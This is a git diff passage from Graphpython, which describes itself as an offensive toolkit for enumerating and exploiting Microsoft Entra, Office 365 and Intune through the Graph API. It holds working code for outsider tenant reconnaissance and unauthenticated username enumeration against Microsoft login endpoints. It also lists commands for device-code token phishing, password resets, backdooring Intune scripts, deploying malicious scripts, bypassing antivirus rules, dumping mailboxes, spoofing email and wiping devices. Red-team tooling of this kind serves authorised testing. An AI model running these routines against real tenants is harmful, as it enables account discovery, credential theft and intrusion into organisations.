f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={'0' * 32}" + response = requests.get(url) + tenant_sso = response.status_code == 401 + except: + pass + # DNS checks + exists = False + has_cloud_mx = False + has_cloud_spf = False + has_dmarc = False + has_cloud_dkim = False + has_cloud_mta_sts = False + try: + dns.resolver.resolve(domain) + exists = True + except: + pass + if exists: + try: + mx_records = dns.resolver.resolve(domain, 'MX') + has_cloud_mx = any('mail.protection.outlook.com' in str(mx.exchange) for mx in mx_records) + except: + pass + try: + txt_records = dns.resolver.resolve(domain, 'TXT') + has_cloud_spf = any('v=spf1' in str(record) and 'include:spf.protection.outlook.com' in str(record) for record in txt_records) + except: + pass + try: + dmarc_records = dns.resolver.resolve(f'_dmarc.{domain}', 'TXT') + has_dmarc = any('v=DMARC1' in str(record) for record in dmarc_records) + except: + pass + try: + selectors = ["selector1", "selector2"] + for selector in selectors: + dkim_records = dns.resolver.resolve(f'{selector}._domainkey.{domain}', 'CNAME') + has_cloud_dkim = any('onmicrosoft.com' in str(record) for record in dkim_records) + if has_cloud_dkim: + break + except: + pass + try: + url = f"https://mta-sts.{domain}/.well-known/mta-sts.txt" + mta_sts_response = requests.get(url) + if mta_sts_response.status_code == 200: + mta_sts_content = mta_sts_response.text + mta_sts_lines = mta_sts_content.split("\n") + has_cloud_mta_sts = any("version: STSv1" in line for line in mta_sts_lines) and any("mx: *.mail.protection.outlook.com" in line for line in mta_sts_lines) + except: + pass + # federation info + user_realm = {} + try: + username = f"nn@{domain}" + response = requests.get(f"https://login.microsoftonline.com/GetUserRealm.srf?login={username}") + if response.status_code == 200: + user_realm = response.json() + except: + print_red("[-] Failed to retrieve user realm information") # pass + + if not tenant_brand: + tenant_brand = user_realm.get("FederationBrandName", "") + + auth_url = user_realm.get("AuthURL") + + if auth_url: + auth_url = auth_url.split('?')[0] + + domain_info = { + "Name": domain, + "DNS": exists, + "MX": has_cloud_mx, + "SPF": has_cloud_spf, + "DMARC": has_dmarc, + "DKIM": has_cloud_dkim, + "MTA-STS": has_cloud_mta_sts, + "Type": user_realm.get("NameSpaceType", "Unknown"), + "STS": auth_url + } + + domain_information.append(domain_info) + + print(f"Tenant brand: {tenant_brand}") + print(f"Tenant name: {tenant_name}") + print(f"Tenant id: {tenant_id}") + print(f"Tenant region: {tenant_region}") + + if tenant_sso is not None: + print(f"DesktopSSO enabled: {tenant_sso}") + if tenant_name: + # check MDI instance + tenant = tenant_name.split('.')[0] if '.' in tenant_name else tenant_name + mdi_domains = [ + f"{tenant}.atp.azure.com", + f"{tenant}-onmicrosoft-com.atp.azure.com" + ] + tenant_mdi = None + for mdi_domain in mdi_domains: + try: + dns.resolver.resolve(mdi_domain) + tenant_mdi = mdi_domain + break + except dns.resolver.NXDOMAIN: + continue + except Exception as e: + print(f"An error occurred while resolving {mdi_domain}: {str(e)}") + if tenant_mdi: + print(f"MDI instance: {tenant_mdi}") + else: + print("MDI instance: Not found") + + # check cloud sync + if tenant_name: + sync_service_account = f"ADToAADSyncServiceAccount@{tenant_name}" + exists = None + try: + url = "https://login.microsoftonline.com/common/GetCredentialType" + data = { + "username": sync_service_account, + "isOtherIdpSupported": True, + "checkPhones": False, + "isRemoteNGCSupported": True, + "isCookieBannerShown": False, + "isFidoSupported": True, + "originalRequest": "", + "country": "US", + "forceotclogin": False, + "isExternalFederationDisallowed": False, + "isRemoteConnectSupported": False, + "federationFlags": 0, + "isSignup": False, + "flowToken": "", + "isAccessPassSupported": True + } + response = requests.post(url, json=data) + if response.status_code == 200: + result = response.json() + exists = result.get('IfExistsResult', 0) == 0 + except: + pass + + uses_cloud_sync = exists + print(f"Uses cloud sync: {uses_cloud_sync}") + + print("\nName DNS MX SPF DMARC DKIM MTA-STS Type STS") + print("---- --- --- ---- ----- ---- ------- ---- ---") + for domain_info in domain_information: + print(f"{domain_info['Name']:<42} {str(domain_info['DNS']):<5} {str(domain_info['MX']):<5} {str(domain_info['SPF']):<6} {str(domain_info['DMARC']):<7} {str(domain_info['DKIM']):<6} {str(domain_info['MTA-STS']):<8} {domain_info['Type']:<11} {domain_info['STS'] or ''}") + print("=" * 80) + + +def invoke_userenumerationasoutsider(args): + if not args.username: + print_red("[-] Error: --username argument is required for Invoke-UserEnumerationAsOutsider command") + return + + print_yellow("[*] Invoke-UserEnumerationAsOutsider") + print("=" * 80) + usernames = [] + if os.path.isfile(args.username): + with open(args.username, 'r') as file: + usernames = [line.strip() for line in file if line.strip()] + else: + usernames = [args.username] + + for username in usernames: + exists = None + try: + url = "https://login.microsoftonline.com/common/GetCredentialType" + data = { + "username": username, + "isOtherIdpSupported": True, + "checkPhones": False, + "isRemoteNGCSupported": True, + "isCookieBannerShown": False, + "isFidoSupported": True, + "originalRequest": "", + "country": "US", + "forceotclogin": False, + "isExternalFederationDisallowed": False, + "isRemoteConnectSupported": False, + "federationFlags": 0, + "isSignup": False, + "flowToken": "", + "isAccessPassSupported": True + } + response = requests.post(url, json=data) + if response.status_code == 200: + result = response.json() + exists = result.get('IfExistsResult', 0) == 0 + except: + pass + + if exists: + print_green(f"[+] {username:<16}")# : {exists}") + else: + print_red(f"[-] {username:<16}")# : {exists}") + print("=" * 80) \ No newline at end of file diff --git a/graphpython/utils/__init__.py b/graphpython/utils/__init__.py new file mode 100644 index 0000000..1321f68 --- /dev/null +++ b/graphpython/utils/__init__.py @@ -0,0 +1 @@ +# chama \ No newline at end of file diff --git a/graphpython/utils/helpers.py b/graphpython/utils/helpers.py new file mode 100644 index 0000000..3449a68 --- /dev/null +++ b/graphpython/utils/helpers.py @@ -0,0 +1,606 @@ +import requests +import json +import os +import re +import base64 +from tabulate import tabulate +from datetime import datetime, timedelta +import uuid +import xml.etree.ElementTree as ET +from termcolor import colored + +def print_yellow(message): + print(f"\033[93m{message}\033[0m") + +def print_green(message): + print(f"\033[92m{message}\033[0m") + +def print_red(message): + print(f"\033[91m{message}\033[0m") + +def list_commands(): + outsider_commands = [ + ["Invoke-ReconAsOutsider", "Perform outsider recon of the target domain"], + ["Invoke-UserEnumerationAsOutsider", "Checks whether the user exists within Azure AD"] + ] + + auth_commands = [ + ["Get-GraphTokens", "Obtain graph token via device code phish (saved to graph_tokens.txt)"], + ["Get-TenantID", "Get tenant ID for target domain"], + ["Get-TokenScope", "Get scope of supplied token"], + ["Decode-AccessToken", "Get all token payload attributes"], + ["Invoke-RefreshToMSGraphToken", "Convert refresh token to Microsoft Graph token (saved to new_graph_tokens.txt)"], + ["Invoke-RefreshToAzureManagementToken", "Convert refresh token to Azure Management token (saved to az_tokens.txt)"], + ["Invoke-RefreshToVaultToken", "Convert refresh token to Azure Vault token (saved to vault_tokens.txt)"], + ["Invoke-RefreshToMSTeamsToken", "Convert refresh token to MS Teams token (saved to teams_tokens.txt)"], + ["Invoke-RefreshToOfficeAppsToken", "Convert refresh token to Office Apps token (saved to officeapps_tokens.txt)"], + ["Invoke-RefreshToOfficeManagementToken", "Convert refresh token to Office Management token (saved to officemanagement_tokens.txt)"], + ["Invoke-RefreshToOutlookToken", "Convert refresh token to Outlook token (saved to outlook_tokens.txt)"], + ["Invoke-RefreshToSubstrateToken", "Convert refresh token to Substrate token (saved to substrate_tokens.txt)"], + ["Invoke-RefreshToYammerToken", "Convert refresh token to Yammer token (saved to yammer_tokens.txt)"], + ["Invoke-RefreshToIntuneEnrollmentToken", "Convert refresh token to Intune Enrollment token (saved to intune_tokens.txt)"], + ["Invoke-RefreshToOneDriveToken", "Convert refresh token to OneDrive token (saved to onedrive_tokens.txt)"], + ["Invoke-RefreshToSharePointToken", "Convert refresh token to SharePoint token (saved to sharepoint_tokens.txt)"], + ["Invoke-CertToAccessToken", "Convert Azure Application certificate to JWT access token (saved to cert_tokens.txt)"], + ["Invoke-ESTSCookieToAccessToken", "Convert ESTS cookie to MS Graph access token (saved to estscookie_tokens.txt)"], + ["Invoke-AppSecretToAccessToken", "Convert Azure Application secretText credentials to access token (saved to appsecret_tokens.txt)"], + ["New-SignedJWT", "Construct JWT and sign using Key Vault PEM certificate (Azure Key Vault access token required) then generate Azure Management token"] + ] + + post_authenum_commands = [ + ["Get-CurrentUser", "Get current user profile"], + ["Get-CurrentUserActivities", "Get recent activity and actions of current user"], + ["Get-OrgInfo", "Get information relating to the target organisation"], + ["Get-Domains", "Get domain objects"], + ["Get-User", "Get all users (default) or target user (--id)"], + ["Get-UserProperties", "Get current user properties (default) or target user (--id)"], + ["Get-UserPrivileges", "Get group/AU memberships and directory roles assigned for current user (default) or target user (--id)"], + ["Get-UserTransitiveGroupMembership", "Get transitive group memberships for current user (default) or target user (--id)"], + ["Get-Group", "Get all groups (default) or target group (-id)"], + ["Get-GroupMember", "Get all members of target group"], + ["Get-UserAppRoleAssignments", "Get user app role assignments for current user (default) or target user (--id)"], + ["Get-ConditionalAccessPolicy", "Get conditional access policy properties"], + ["Get-Application", "Get Enterprise Application details for app (NOT object) ID (--id)"], + ["Get-AppServicePrincipal", "Get details of the application's service principal from the app ID (--id)"], + ["Get-ServicePrincipal", "Get all or specific Service Principal details (--id)"], + ["Get-ServicePrincipalAppRoleAssignments", "Get Service Principal app role assignments (shows available admin consent permissions that are already granted)"], + ["Get-PersonalContacts", "Get contacts of the current user"], + ["Get-CrossTenantAccessPolicy", "Get cross tenant access policy properties"], + ["Get-PartnerCrossTenantAccessPolicy", "Get partner cross tenant access policy"], + ["Get-UserChatMessages", "Get ALL messages from all chats for target user (Chat.Read.All)"], + ["Get-AdministrativeUnitMember", "Get members of administrative unit"], + ["Get-OneDriveFiles", "Get all accessible OneDrive files for current user (default) or target user (--id)"], + ["Get-UserPermissionGrants", "Get permission grants of current user (default) or target user (--id)"], + ["Get-oauth2PermissionGrants", "Get oauth2 permission grants for current user (default) or target user (--id)"], + ["Get-Messages", "Get all messages in signed-in user's mailbox (default) or target user (--id)"], + ["Get-TemporaryAccessPassword", "Get TAP details for current user (default) or target user (--id)"], + ["Get-Password", "Get passwords registered to current user (default) or target user (--id)"], + ["List-AuthMethods", "List authentication methods for current user (default) or target user (--id)"], + ["List-DirectoryRoles", "List all directory roles activated in the tenant"], + ["List-Notebooks", "List current user notebooks (default) or target user (--id)"], + ["List-ConditionalAccessPolicies", "List conditional access policy objects"], + ["List-ConditionalAuthenticationContexts", "List conditional access authentication context"], + ["List-ConditionalNamedLocations", "List conditional access named locations"], + ["List-SharePointRoot", "List root SharePoint site properties"], + ["List-SharePointSites", "List any available SharePoint sites"], + ["List-SharePointURLs", "List SharePoint site web URLs visible to current user"], + ["List-ExternalConnections", "List external connections"], + ["List-Applications", "List all Azure Applications"], + ["List-ServicePrincipals", "List all service principals"], + ["List-Tenants", "List tenants"], + ["List-JoinedTeams", "List joined teams for current user (default) or target user (--id)"], + ["List-Chats", "List chats for current user (default) or target user (--id)"], + ["List-ChatMessages", "List messages in target chat (--id)"], + ["List-Devices", "List devices"], + ["List-AdministrativeUnits", "List administrative units"], + ["List-OneDrives", "List current user OneDrive (default) or target user (--id)"], + ["List-RecentOneDriveFiles", "List current user recent OneDrive files"], + ["List-SharedOneDriveFiles", "List OneDrive files shared with the current user"], + ["List-OneDriveURLs", "List OneDrive web URLs visible to current user"] + ] + + post_authexploit_commands = [ + ["Invoke-CustomQuery", "Custom GET query to target Graph API endpoint"], + ["Invoke-Search", "Search for string within entity type (driveItem, message, chatMessage, site, event)"], + ["Find-PrivilegedRoleUsers", "Find users with privileged roles assigned"], + ["Find-PrivilegedApplications", "Find privileged apps (via their service principal) with granted admin consent API permissions"], + ["Find-UpdatableGroups", "Find groups which can be updated by the current user"], + ["Find-SecurityGroups", "Find security groups and group members"], + ["Find-DynamicGroups", "Find groups with dynamic membership rules"], + ["Update-UserPassword", "Update the passwordProfile of the target user (NewUserS3cret@Pass!)"], + ["Update-UserProperties", "Update the user properties of the target user"], + ["Add-UserTAP", "Add new Temporary Access Password (TAP) to target user"], + ["Add-GroupMember", "Add member to target group"], + ["Add-ApplicationPassword", "Add client secret to target application"], + ["Add-ApplicationCertificate", "Add client certificate to target application"], + ["Add-ApplicationPermission", "Add permission to target application e.g. Mail.Send and attempt to grant admin consent"], + ["Grant-AppAdminConsent", "Grant admin consent for Graph API permission already assigned to enterprise application"], + ["Create-Application", "Create new enterprise application with default settings"], + ["Create-NewUser", "Create new Entra ID user"], + ["Invite-GuestUser", "Invite guest user to Entra ID"], + ["Assign-PrivilegedRole", "Assign chosen privileged role to user/group/object"], + ["Open-OWAMailboxInBrowser", "Open an OWA Office 365 mailbox in BurpSuite's embedded Chromium browser using either a Substrate.Office.com or Outlook.Office.com access token"], + ["Dump-OWAMailbox", "Dump OWA Office 365 mailbox"], + ["Spoof-OWAEmailMessage", "Send email from current user's Outlook mailbox or spoof another user (--id) (Mail.Send)"] + ] + + intune_enum = [ + ["Get-ManagedDevices", "Get managed devices"], + ["Get-UserDevices", "Get user devices"], + ["Get-CAPs", "Get conditional access policies"], + ["Get-DeviceCategories", "Get device categories"], + ["Get-DeviceComplianceSummary", "Get device compliance summary"], + ["Get-DeviceConfigurations", "Get device configurations"], + ["Get-DeviceConfigurationPolicySettings", "Get device configuration policy settings"], + ["Get-DeviceEnrollmentConfigurations", "Get device enrollment configurations"], + ["Get-DeviceGroupPolicyConfigurations", "Get device group policy configurations and assignment details"], + ["Get-DeviceGroupPolicyDefinition", "Get device group policy definition"], + ["Get-RoleDefinitions", "Get role definitions"], + ["Get-RoleAssignments", "Get role assignments"], + ["Get-DeviceCompliancePolicies", "Get all device compliance policies (Android, iOS, macOS, Windows, Linux, etc.)"], + ["Get-DeviceConfigurationPolicies", "Get device configuration policies and assignment details (AV, ASR, DiskEnc, etc.)"] + ] + + intune_exploit = [ + ["Dump-DeviceManagementScripts", "Dump device management PowerShell scripts"], + ["Dump-WindowsApps", "Dump managed Windows OS applications (exe, msi, appx, msix, etc.)"], + ["Dump-iOSApps", "Dump managed iOS/iPadOS mobile applications"], + ["Dump-macOSApps", "Dump managed macOS applications"], + ["Dump-AndroidApps", "Dump managed Android mobile applications"], + ["Get-ScriptContent", "Get device management script content"], + ["Backdoor-Script", "Add malicious code to pre-existing device management script"], + ["Deploy-MaliciousScript", "Deploy new malicious device management PowerShell script"], + ["Deploy-MaliciousWebLink", "Deploy malicious Windows web link application"], + ["Display-AVPolicyRules", "Display antivirus policy rules"], + ["Display-ASRPolicyRules", "Display Attack Surface Reduction (ASR) policy rules"], + ["Display-DiskEncryptionPolicyRules", "Display disk encryption policy rules"], + ["Display-FirewallConfigPolicyRules", "Display firewall configuration policy rules"], + ["Display-FirewallRulePolicyRules", "Display firewall RULE policy rules"], + ["Display-EDRPolicyRules", "Display EDR policy rules"], + ["Display-LAPSAccountProtectionPolicyRules", "Display LAPS account protection policy rules"], + ["Display-UserGroupAccountProtectionPolicyRules", "Display user group account protection policy rules"], + ["Add-ExclusionGroupToPolicy", "Bypass av, asr, etc. rules by adding an exclusion group containing compromised user or device"], + ["Reboot-Device", "Reboot managed device"], + ["Retire-Device", "Retire managed device"], + ["Lock-Device", "Lock managed device"], + ["Shutdown-Device", "Shutdown managed device"], + ["Update-DeviceConfig", "Update properties of the managed device configuration"] + ] + + cleanup_commands = [ + ["Delete-User", "Delete a user"], + ["Delete-Group", "Delete a group"], + ["Remove-GroupMember", "Remove user from a group"], + ["Delete-Application", "Delete an application"], + ["Delete-Device", "Delete managed device"], + ["Wipe-Device", "Wipe managed device"], + ] + + locator_commands = [ + ["Locate-ObjectID", "Locate object ID and display object properties"], + ["Locate-PermissionID", "Locate Graph permission details (application/delegated, description, admin consent required, ...) for ID"] + ] + + print("Outsider") + print("=" * 80) + print(tabulate(outsider_commands, tablefmt="plain")) + + print("\nAuthentication") + print("=" * 80) + print(tabulate(auth_commands, tablefmt="plain")) + + print("\nPost-Auth Enumeration") + print("=" * 80) + print(tabulate(post_authenum_commands, tablefmt="plain")) + + print("\nPost-Auth Exploitation") + print("=" * 80) + print(tabulate(post_authexploit_commands, tablefmt="plain")) + + print("\nPost-Auth Intune Enumeration") + print("=" * 80) + print(tabulate(intune_enum, tablefmt="plain")) + + print("\nPost-Auth Intune Exploitation") + print("=" * 80) + print(tabulate(intune_exploit, tablefmt="plain")) + + print("\nCleanup") + print("=" * 80) + print(tabulate(cleanup_commands, tablefmt="plain")) + + print("\nLocators") + print("=" * 80) + print(tabulate(locator_commands, tablefmt="plain")) + print("\n") + +def forge_user_agent(device=None, browser=None): + + user_agent = '' + + if device == 'Mac': + if browser == 'Chrome': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0' + elif browser == 'Edge': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/604.1 Edg/91.0.100.0' + elif browser == 'Safari': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' + else: + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' + + elif device == 'Windows': + if browser == 'IE': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' + elif browser == 'Chrome': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' + elif browser == 'Edge': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' + else: + user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' + + elif device == 'AndroidMobile': + if browser == 'Android': + user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' + elif browser == 'Chrome': + user_agent = 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Mobile Safari/537.36' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (Android 4.4; Mobile; rv:70.0) Gecko/70.0 Firefox/70.0' + elif browser == 'Edge': + user_agent = 'Mozilla/5.0 (Linux; Android 8.1.0; Pixel Build/OPM4.171019.021.D1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36 EdgA/42.0.0.2057' + else: + user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' + + elif device == 'iPhone': + if browser == 'Chrome': + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.114 Mobile/15E148 Safari/604.1' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4' + elif browser == 'Edge': + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 EdgiOS/44.5.0.10 Mobile/15E148 Safari/604.1' + elif browser == 'Safari': + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' + else: + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' + + else: + if browser == 'Android': + user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' + elif browser == 'IE': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' + elif browser == 'Chrome': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' + elif browser == 'Safari': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' + else: + user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' + + return user_agent + +def get_user_agent(args): + if args.device: + if args.browser: + return forge_user_agent(device=args.device, browser=args.browser) + else: + return forge_user_agent(device=args.device) + else: + if args.browser: + return forge_user_agent(browser=args.browser) + else: + return forge_user_agent() + +def get_access_token(token_input): + if os.path.isfile(token_input): + encodings = ['utf-8', 'utf-16', 'ascii', 'iso-8859-1'] + for encoding in encodings: + try: + with open(token_input, 'r', encoding=encoding) as file: + access_token = file.read().strip() + return access_token + except UnicodeDecodeError: + continue + + raise ValueError(f"Unable to decode the file {token_input} with any of the tried encodings.") + else: + access_token = token_input + return access_token + +def read_file_content(file_path): + try: + with open(file_path, 'r', encoding='utf-8') as file: + return file.read() + except UnicodeDecodeError: + with open(file_path, 'r', encoding='utf-16') as file: + return file.read() + +def format_list_style(data): + if not data.get('value'): + print_red("[-] No data found") + return + + for d in data.get('value', []): + for key, value in d.items(): + print(f"{key} : {value}") + print("\n") + +def read_and_encode_cert(cert_path): + try: + if not os.path.isfile(cert_path): + print_red(f"[-] The certificate file '{cert_path}' does not exist.") + return None + with open(cert_path, 'rb') as cert_file: + cert_data = cert_file.read() + # Base64 encode the binary data + encoded_cert = base64.b64encode(cert_data).decode('ascii') + return encoded_cert + except Exception as e: + print_red(f"[-] Error reading certificate: {str(e)}") + return None + +def highlight_search_term(text, search_term): + return text.replace(search_term, colored(search_term, 'green')) + +def graph_api_get(access_token, url, args): + try: + output_returned = False + while url: + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {access_token}", + "User-Agent": user_agent + } + response = requests.get(url, headers=headers) + response.raise_for_status() + response_body = response.json() + filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} + + if filtered_data: + format_list_style(filtered_data) + output_returned = True + + url = response_body.get("@odata.nextLink") + + if not output_returned: + print_red("[-] No data found") + + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + +def get_tenant_domains(domain): + + domains = [domain] + try: + openid_config_url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration" + response = requests.get(openid_config_url) + response.raise_for_status() + openid_config = response.json() + tenant_region_sub_scope = openid_config.get("tenant_region_sub_scope", "") + + if tenant_region_sub_scope == "DOD": + autodiscover_url = "https://autodiscover-s-dod.office365.us/autodiscover/autodiscover.svc" + elif tenant_region_sub_scope == "DODCON": + autodiscover_url = "https://autodiscover-s.office365.us/autodiscover/autodiscover.svc" + else: + autodiscover_url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" + + autodiscover_body = f""" + + + + http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation + {autodiscover_url} + + http://www.w3.org/2005/08/addressing/anonymous + + + + + + {domain} + + + + + """.strip() + + headers = { + "Content-Type": "text/xml; charset=utf-8", + "SOAPAction": '"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation"', + "User-Agent": "AutodiscoverClient" + } + + autodiscover_response = requests.post(autodiscover_url, data=autodiscover_body, headers=headers) + autodiscover_response.raise_for_status() + autodiscover_xml = autodiscover_response.content + tree = ET.ElementTree(ET.fromstring(autodiscover_xml)) + namespaces = { + 's': 'http://schemas.xmlsoap.org/soap/envelope/', + 'a': 'http://www.w3.org/2005/08/addressing', + 'm': 'http://schemas.microsoft.com/exchange/services/2006/messages', + 't': 'http://schemas.microsoft.com/exchange/services/2006/types', + 'ns2': 'http://schemas.microsoft.com/exchange/2010/Autodiscover' + } + + found_domains = [elem.text for elem in tree.findall('.//ns2:Domain', namespaces)] + + if domain not in found_domains: + found_domains.append(domain) + + domains = sorted(found_domains) + + except Exception as e: + print(f"An unexpected error occurred: {e}") + + return domains + +############## +# NOT IN USE # +############## +def get_credential_type(username, flow_token=None, original_request=None): + body = { + "username": username, + "isOtherIdpSupported": True, + "checkPhones": True, + "isRemoteNGCSupported": False, + "isCookieBannerShown": False, + "isFidoSupported": False, + "originalRequest": original_request, + "flowToken": flow_token + } + + if original_request: + body["isAccessPassSupported"] = True + + try: + response = requests.post("https://login.microsoftonline.com/common/GetCredentialType", + json=body, + headers={"Content-Type": "application/json; charset=UTF-8"}) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + print(f"Error in Get-CredentialType: {e}") + return None + +############## +# NOT IN USE # +############## +def get_rst_token(url, endpoint_address, username, password="none"): + request_id = str(uuid.uuid4()) + now = datetime.utcnow() + created = now.isoformat() + "Z" + expires = (now + timedelta(minutes=10)).isoformat() + "Z" + + body = f""" + + + + http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue + {url} + urn:uuid:{str(uuid.uuid4())} + + + {created} + {expires} + + + {username} + {password} + + + + + + http://schemas.xmlsoap.org/ws/2005/02/trust/Issue + + + {endpoint_address} + + http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey + + + + """ + + try: + response = requests.post(url, + data=body, + headers={"Content-Type": "application/soap+xml; charset=UTF-8"}, + timeout=10) + response.raise_for_status() + response_xml = response.content + + if "urn:oasis:names:tc:SAML:1.0:assertion" in response_xml.decode(): + return True + return False + except requests.exceptions.RequestException as e: + print(f"Error in Get-RSTToken: {e}") + return None + +############## +# NOT IN USE # +############## +def does_user_exist(user, method="Normal"): + exists = False + error_details = "" + + if method == "Normal": + cred_type = get_credential_type(user) + if cred_type: + if cred_type.get('ThrottleStatus') == 1: + print("Requests throttled!") + return None + exists = cred_type.get('IfExistsResult') in [0, 6] + else: + if method == "Login": + random_guid = str(uuid.uuid4()) + body = { + "resource": random_guid, + "client_id": random_guid, + "grant_type": "password", + "username": user, + "password": "none", + "scope": "openid" + } + try: + response = requests.post("https://login.microsoftonline.com/common/oauth2/token", + data=body, + headers={"Content-Type": "application/x-www-form-urlencoded"}) + response.raise_for_status() + exists = True + except requests.exceptions.RequestException as e: + error_details = e.response.json().get("error_description", "") + + elif method in ["Autologon", "RST2"]: + request_id = str(uuid.uuid4()) + domain = user.split("@")[1] + password = "none" + now = datetime.utcnow() + created = now.isoformat() + "Z" + expires = (now + timedelta(minutes=10)).isoformat() + "Z" + + if method == "RST2": + url = "https://login.microsoftonline.com/RST2.srf" + end_point = "sharepoint.com" + else: + url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={request_id}" + end_point = "urn:federation:MicrosoftOnline" + + try: + response = get_rst_token(url, end_point, user, password) + exists = response is not None + except Exception as e: + error_details = str(e) + + if not exists and error_details: + if error_details.startswith("AADSTS50053"): + exists = True + elif error_details.startswith("AADSTS50126"): + exists = True + elif error_details.startswith("AADSTS50076"): + exists = True + elif error_details.startswith("AADSTS700016"): + exists = True + elif error_details.startswith("AADSTS50034"): + exists = False + elif error_details.startswith("AADSTS50059"): + exists = False + elif error_details.startswith("AADSTS81016"): + print("Got Invalid STS request. The tenant may not have DesktopSSO or Directory Sync enabled.") + return None + else: + return None + + return exists + +# todo: +# - add mfasweep functions \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index 750df30..9b0439f 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,4 +4,5 @@ dnspython tqdm tabulate cryptography -beautifulsoup4 \ No newline at end of file +beautifulsoup4 +termcolor \ No newline at end of file diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..c55b152 --- /dev/null +++ b/setup.py @@ -0,0 +1,42 @@ +from setuptools import setup, find_packages +import os + +with open('README.md', 'r', encoding='utf-8') as f: + long_description = f.read() + +requirements = [] +if os.path.exists('requirements.txt'): + with open('requirements.txt', 'r', encoding='utf-8') as f: + requirements = [x.strip() for x in f.readlines()] + +setup( + name="graphpython", + version="1.0", + packages=find_packages(), + author="mlcsec", + author_email="mlcsec@proton.me", + description="Modular cross-platform Microsoft Graph API (Entra, o365, and Intune) enumeration and exploitation toolkit", + long_description=long_description, + long_description_content_type="text/markdown", + url="https://github.com/mlcsec/Graphpython", + install_requires=requirements, + classifiers=[ + "Programming Language :: Python :: 3", + "License :: OSI Approved :: MIT License", + "Operating System :: OS Independent", + "Development Status :: 3 - Alpha", + "Intended Audience :: Developers", + "Intended Audience :: Information Technology", + "Topic :: Security", + ], + python_requires='>=3.6', + entry_points={ + "console_scripts": 